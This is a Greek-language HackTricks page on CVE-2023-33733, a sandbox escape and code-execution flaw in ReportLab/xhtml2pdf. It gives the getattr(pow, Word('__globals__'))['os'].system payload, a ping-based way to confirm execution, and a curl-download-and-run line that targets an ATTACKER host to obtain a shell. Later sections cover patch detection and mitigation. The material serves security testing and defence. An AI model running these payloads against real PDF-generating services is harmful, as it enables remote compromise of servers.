ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτή η σελίδα τεκμηριώνει μια πρακτική παράκαμψη sandbox και ένα RCE primitive στο ReportLab’s rl_safe_eval που χρησιμοποιείται από xhtml2pdf και άλλες pipelines δημιουργίας PDF όταν αποδίδουν HTML που ελέγχεται από χρήστη σε PDF.
CVE-2023-33733 επηρεάζει τις εκδόσεις του ReportLab έως και την 3.6.12. Σε ορισμένα περιβάλλοντα attribute (π.χ. color), τιμές τυλιγμένες σε τριπλές αγκύλες [[[ … ]]] αξιολογούνται server-side από το rl_safe_eval. Με τη δημιουργία ενός payload που pivots από ένα whitelisted builtin (pow) προς τα globals μιας Python function, ένας επιτιθέμενος μπορεί να φτάσει στο os module και να εκτελέσει εντολές.
Κύρια σημεία
- Trigger: inject [[[ … ]]] σε αξιολογούμενα attributes όπως μέσα σε markup που αναλύεται από ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval αντικαθιστά επικίνδυνα builtins αλλά οι αξιολογημένες συναρτήσεις εξακολουθούν να εκθέτουν globals.
- Bypass: δημιουργήστε μια προσωρινή κλάση Word για να παρακάμψετε τους ελέγχους ονομάτων του rl_safe_eval και να αποκτήσετε πρόσβαση στο string “globals” ενώ αποφεύγετε το φιλτράρισμα των blocked dunder.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stability: Επιστρέψτε μια έγκυρη τιμή για το attribute μετά την εκτέλεση (για color, χρησιμοποιήστε ‘red’).
Πότε να δοκιμάσετε
- Εφαρμογές που προσφέρουν εξαγωγή HTML-to-PDF (προφίλ, τιμολόγια, reports) και δείχνουν xhtml2pdf/ReportLab στα metadata του PDF ή σε σχόλια στην HTTP απόκριση.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- Η HTTP απόκριση για PDF συχνά ξεκινά με ένα ReportLab generator comment
Πώς λειτουργεί η παράκαμψη του sandbox
- Το rl_safe_eval αφαιρεί ή αντικαθιστά πολλά builtins (getattr, type, pow, …) και εφαρμόζει φιλτράρισμα ονομάτων για να απορρίψει attributes που ξεκινούν με __ ή είναι σε denylist.
- Ωστόσο, οι “safe” συναρτήσεις ζουν σε ένα globals dictionary προσβάσιμο ως func.globals.
- Χρησιμοποιήστε type(type(1)) για να ανακτήσετε την πραγματική builtin type function (παρακάμπτοντας τον wrapper του ReportLab), στη συνέχεια ορίστε μια κλάση Word παράγωγη του str με μεταβλημένη συμπεριφορά σύγκρισης ώστε:
- .startswith(‘’) → πάντα False (παράκαμψη του ελέγχου name startswith(‘’))
- .eq επιστρέφει False μόνο στην πρώτη σύγκριση (παράκαμψη του denylist membership checks) και True έπειτα (ώστε να δουλέψει το Python getattr)
- .hash ισούται με hash(str(self))
- Με αυτό, getattr(pow, Word(‘globals’)) επιστρέφει το globals dict της τυλιγμένης συνάρτησης pow, που περιλαμβάνει ένα import του os module. Έπειτα:
['os'].system('<cmd>').
Ελάχιστο μοτίβο εκμετάλλευσης (παράδειγμα attribute) Τοποθετήστε το payload μέσα σε ένα αξιολογούμενο attribute και βεβαιωθείτε ότι επιστρέφει μια έγκυρη τιμή attribute μέσω boolean και ‘red’.
- Η μορφή με list-comprehension επιτρέπει μια ενιαία έκφραση αποδεκτή από το rl_safe_eval.
- Το τελικό and ‘red’ επιστρέφει ένα έγκυρο CSS color ώστε η απόδοση να μην σπάσει.
- Αντικαταστήστε την εντολή όπως χρειάζεται; χρησιμοποιήστε ping για να επαληθεύσετε την εκτέλεση με tcpdump.
Επιχειρησιακή ροή
- Εντοπίστε τον PDF generator
- Ο PDF Producer εμφανίζει xhtml2pdf; η HTTP απόκριση περιέχει ReportLab comment.
- Βρείτε μια είσοδο που αντανακλάται στο PDF (π.χ., bio/description προφίλ) και κάντε export.
- Επαληθεύστε την εκτέλεση με low-noise ICMP
- Εκτέλεση:
sudo tcpdump -ni <iface> icmp - Payload: …
system('ping <your_ip>')… - Τα Windows συχνά στέλνουν ακριβώς τέσσερα echo requests από προεπιλογή.
- Εγκαθιδρύστε shell
- Για Windows, μια αξιόπιστη two-stage προσέγγιση αποφεύγει προβλήματα quoting/encoding:
- Stage 1 (download):
- Stage 2 (execute):
- Για Linux targets, παρόμοιο two-stage με curl/wget είναι δυνατό:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Σημειώσεις και συμβουλές
- Περιβάλλοντα attribute: color είναι ένα γνωστό evaluated attribute; άλλα attributes στο ReportLab markup μπορεί επίσης να αξιολογούν εκφράσεις. Αν μία τοποθεσία είναι sanitized, δοκιμάστε άλλες που αποδίδονται στη ροή του PDF (διαφορετικά fields, table styles, κ.λπ.).
- Quoting: Κρατήστε τις εντολές συμπαγείς. Οι two-stage downloads μειώνουν δραματικά τα προβλήματα quoting και escaping.
- Reliability: Αν τα exports cache-αριστούν ή τεθούν σε queue, ποικίλλετε ελαφρώς το payload (π.χ., τυχαίο path ή query) για να αποφύγετε caches.
Patch status (2024–2025) και εντοπισμός backports
- 3.6.13 (27 Apr 2023) επαναέγραψε το
colors.toColorσε έναν AST-walk parser; οι νεότερες 4.x releases διατηρούν αυτή τη διαδρομή. Η εξαναγκασμένη ρύθμισηrl_settings.toColorCanUseσεrl_safe_evalήrl_extended_literal_evalεπανενεργοποιεί τον ευάλωτο evaluator ακόμα και σε τρέχουσες εκδόσεις. - Πολλές διανομές παρέχουν backported fixes ενώ διατηρούν αριθμούς έκδοσης όπως 3.6.12-1+deb12u1; μην βασίζεστε αποκλειστικά στον semantic version. Grep
colors.pyγιαast.parseή επιθεωρήστεtoColorσε runtime για να επιβεβαιώσετε ότι ο safe parser είναι σε χρήση (βλέπε quick check παρακάτω). - Quick local check to see whether the AST-based fix is present:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Μέτρα μετριασμού και εντοπισμός
- Αναβαθμίστε το ReportLab στην έκδοση 3.6.13 ή νεότερη (CVE-2023-33733 διορθώθηκε). Παρακολουθήστε επίσης τις ειδοποιήσεις ασφάλειας στα πακέτα διανομής.
- Μην τροφοδοτείτε HTML/markup που ελέγχεται από τον χρήστη απευθείας στο xhtml2pdf/ReportLab χωρίς αυστηρή sanitization. Αφαιρέστε/απορρίψτε τις δομές αξιολόγησης [[[…]]] και τα vendor-specific tags όταν η είσοδος δεν είναι έμπιστη.
- Σκεφτείτε να απενεργοποιήσετε ή να τυλίξετε τη χρήση του rl_safe_eval πλήρως για μη έμπιστες εισόδους.
- Παρακολουθήστε για ύποπτες εξερχόμενες συνδέσεις κατά τη δημιουργία PDF (π.χ. ICMP/HTTP από διακομιστές εφαρμογών όταν εξάγονται έγγραφα).
Αναφορές
- PoC και τεχνική ανάλυση: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): HTB: University
- Καταχώριση NVD (επηρεασμένες εκδόσεις): CVE-2023-33733
- xhtml2pdf docs (markup/page concepts): xhtml2pdf docs
- ReportLab 3.6.13 release notes (AST rewrite of toColor): What’s New in 3.6.13
- Debian security tracker showing backported fixes with unchanged minor versions: Debian tracker CVE-2023-33733
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks

